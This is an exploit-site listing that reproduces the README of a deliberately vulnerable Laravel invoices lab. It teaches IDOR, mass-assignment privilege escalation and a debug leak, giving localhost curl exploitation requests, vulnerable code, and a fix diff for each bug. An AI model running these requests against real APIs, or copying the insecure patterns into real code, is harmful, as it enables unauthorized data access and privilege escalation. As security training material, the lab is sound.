Sploitus

Exploit for laravel-access-control-lab

githubexploit Β· 2026-08-22

Exploit Code

README198 lines
## https://sploitus.com/exploit?id=3B4A9F73-30BD-5F47-BCBD-CEE7814E85CE
# laravel-access-control-lab

A **deliberately vulnerable Laravel application** for learning β€” and demonstrating β€” three of
the most common access-control flaws in production Laravel APIs:

1. **IDOR** via route model binding (Broken Object-Level Authorization)
2. **Mass assignment** (privilege escalation through an unexpected field)
3. **Debug leak** (information disclosure via `APP_DEBUG=true`)

> ⚠️ **Intentionally insecure application.** Run it **on localhost only** (`127.0.0.1`).
> Never deploy it to a server reachable from the Internet.

This is a teaching lab: you **exploit** each bug, then **fix** it and verify the exploit no
longer works. The scenario is a small **invoices** API β€” two users, Alice and Bob, each the
owner of their own invoices.

---

## Setup

Requirements: PHP 8.2+, Composer.

```bash
# 1. Fresh Laravel project
composer create-project laravel/laravel access-control-lab
cd access-control-lab

# 2. Wire up the API + Sanctum BEFORE copying our files
#    (install:api regenerates routes/api.php, so run it first)
php artisan install:api

# 3. Copy the files from this repo ON TOP of the project:
#    app/  routes/  database/  .env.example
#    (this repo's routes/api.php replaces the one generated by install:api)

# 4. Configuration
cp .env.example .env
php artisan key:generate
touch database/database.sqlite

# 5. Database + seed data (Alice, Bob, 4 invoices)
php artisan migrate --seed

# 6. Run
php artisan serve                        # http://127.0.0.1:8000
```

Seeded accounts: `alice@lab.test` / `password` and `bob@lab.test` / `password`.

Automated demo of the three bugs (curl + jq):

```bash
./exploit.sh
```

---

## Bug A β€” IDOR via route model binding

**Where** : `routes/api.php` + `app/Http/Controllers/InvoiceController.php`

Laravel resolves `{invoice}` to an `Invoice` model from the id in the URL, and the controller
returns it **without checking that the invoice belongs to the authenticated user**.

```php
Route::get('/invoices/{invoice}', [InvoiceController::class, 'show']);

public function show(Invoice $invoice)
{
    return $invoice;              // no ownership check
}
```

**Exploitation** β€” Alice (owner of invoices 1 and 2) reads Bob's secret invoice:

```bash
TOKEN=$(curl -s -X POST http://127.0.0.1:8000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"alice@lab.test","password":"password"}' | jq -r .token)

curl -s http://127.0.0.1:8000/api/invoices/3 -H "Authorization: Bearer $TOKEN" | jq .
# β†’ returns "Client Bob SECRET", 99000.00  ❌  Alice should never see this
```

**Fix** β€” authorize through a Policy (provided in `app/Policies/InvoicePolicy.php`):

```diff
 public function show(Invoice $invoice)
 {
+    $this->authorize('view', $invoice);   // 403 if $invoice->user_id !== auth()->id()
     return $invoice;
 }
```

The Policy (`InvoicePolicy::view`) is auto-discovered in Laravel 12. After the fix,
`GET /api/invoices/3` by Alice returns **403**, while `1`/`2` still work.

**Class of bug to eliminate for good** : never return an id-addressed object without an
authorization check. Systematize `authorize()` / `Gate` checks / user-scoped queries
(`->where('user_id', auth()->id())`).

---

## Bug B β€” Mass assignment (privilege escalation)

**Where** : `app/Models/User.php` (root cause) + `app/Http/Controllers/ProfileController.php` (exploitation)

The `User` model disables all mass-assignment protection, and the profile update writes the
entire request body:

```php
// User.php
protected $guarded = [];                  // everything is assignable, including is_admin

// ProfileController.php
$user->update($request->all());           // writes whatever the client sends
```

**Exploitation** β€” Alice makes herself an admin:

```bash
curl -s -X PUT http://127.0.0.1:8000/api/profile \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"name":"Alice","is_admin":true}' | jq '{name, is_admin}'
# β†’ { "name": "Alice", "is_admin": true }  ❌
```

**Fix** β€” whitelist on the model **and** validation in the controller:

```diff
 // User.php
-protected $guarded = [];
+protected $fillable = ['name', 'email', 'password'];

 // ProfileController.php
-$user->update($request->all());
+$data = $request->validate([
+    'name'  => ['sometimes', 'string', 'max:255'],
+    'email' => ['sometimes', 'email'],
+]);
+$user->update($data);
```

After the fix, an `is_admin` field sent by the client is ignored (and `password` can no
longer be changed through this endpoint).

**Class of bug to eliminate for good** : always define an explicit `$fillable` that excludes
privilege/state columns; never pass `$request->all()` to `create()` / `update()` β€” validate
and pass only the expected fields.

---

## Bug C β€” Debug leak (`APP_DEBUG=true`)

**Where** : `.env.example` + `routes/web.php`

With `APP_DEBUG=true`, any unhandled exception renders Laravel's detailed error page: full
stack trace, source excerpt, **environment variables** and configuration.

**Exploitation** β€” an **anonymous** visitor triggers the error:

```bash
curl -s http://127.0.0.1:8000/boom | head -c 400
# open http://127.0.0.1:8000/boom in a browser: trace + env exposed
```

**Fix** β€” `.env`:

```diff
-APP_DEBUG=true
+APP_DEBUG=false
```

The same error now returns only a generic "Server Error", with no internal detail.

**Class of bug to eliminate for good** : `APP_DEBUG=false` in production (enforced in CI / at
deploy time); handle exceptions and log server-side instead of returning details to the client.

---

## Turning this lab into public evidence

This is the goal of **Module 2** of the training program:

1. Publish this repo on GitHub (it is already self-contained and documented).
2. Write a short blog post covering each bug: Laravel context, exploitation, fix, class to
   eliminate β€” exactly the structure above. A ready draft lives in `docs/writeup.md`.
3. Run **Sentinel** on it (`audit_type: full_with_source`) and compare: which bugs does it
   catch, which does it miss? The result feeds both the article and your Sentinel improvement
   roadmap.

This repo + the article are your first concrete answer to "provide verifiable evidence of
your findings" and "describe a Laravel access-control bug you found."

## License

MIT β€” educational material.